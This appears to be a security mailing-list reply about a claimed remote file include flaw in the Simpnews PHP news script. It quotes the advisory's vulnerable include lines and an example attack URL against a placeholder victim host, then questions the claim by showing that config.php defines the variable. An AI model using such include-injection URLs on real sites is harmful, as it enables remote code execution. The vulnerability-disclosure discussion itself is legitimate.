<<< Date Index >>>     <<< Thread Index >>>

Re: Simpnews <= All version - Remote File Include Vulnerabilities

# Simpnews <= All version - Remote File Include Vulnerabilities
# require_once($path_simpnews.'/langchk.php');
# include_once('./language/lang_'.$act_lang.'.php');
# require_once('./includes/get_settings.inc');
# require_once('./includes/wap_get_settings.inc');



# Vulnerable :
# http://www.victim.com/Simpnews/wap_short_news.php?path_simpnews=Command-Shell


Was this verified on a running site or was this just source inspected?
The below shouldn't be vulnerable with config.php declaring $path_simpnews.

CODE
--------------------------------------
require_once('./config.php');
require_once('./functions.php');
if(!isset($category))
        $category=0;
require_once($path_simpnews.'/langchk.php');
include_once('./language/lang_'.$act_lang.'.php');
require_once('./includes/get_settings.inc');
require_once('./includes/wap_get_settings.inc');

config.php
--------------------------------------
$path_simpnews = getenv("DOCUMENT_ROOT")."/simpnews";

/str0ke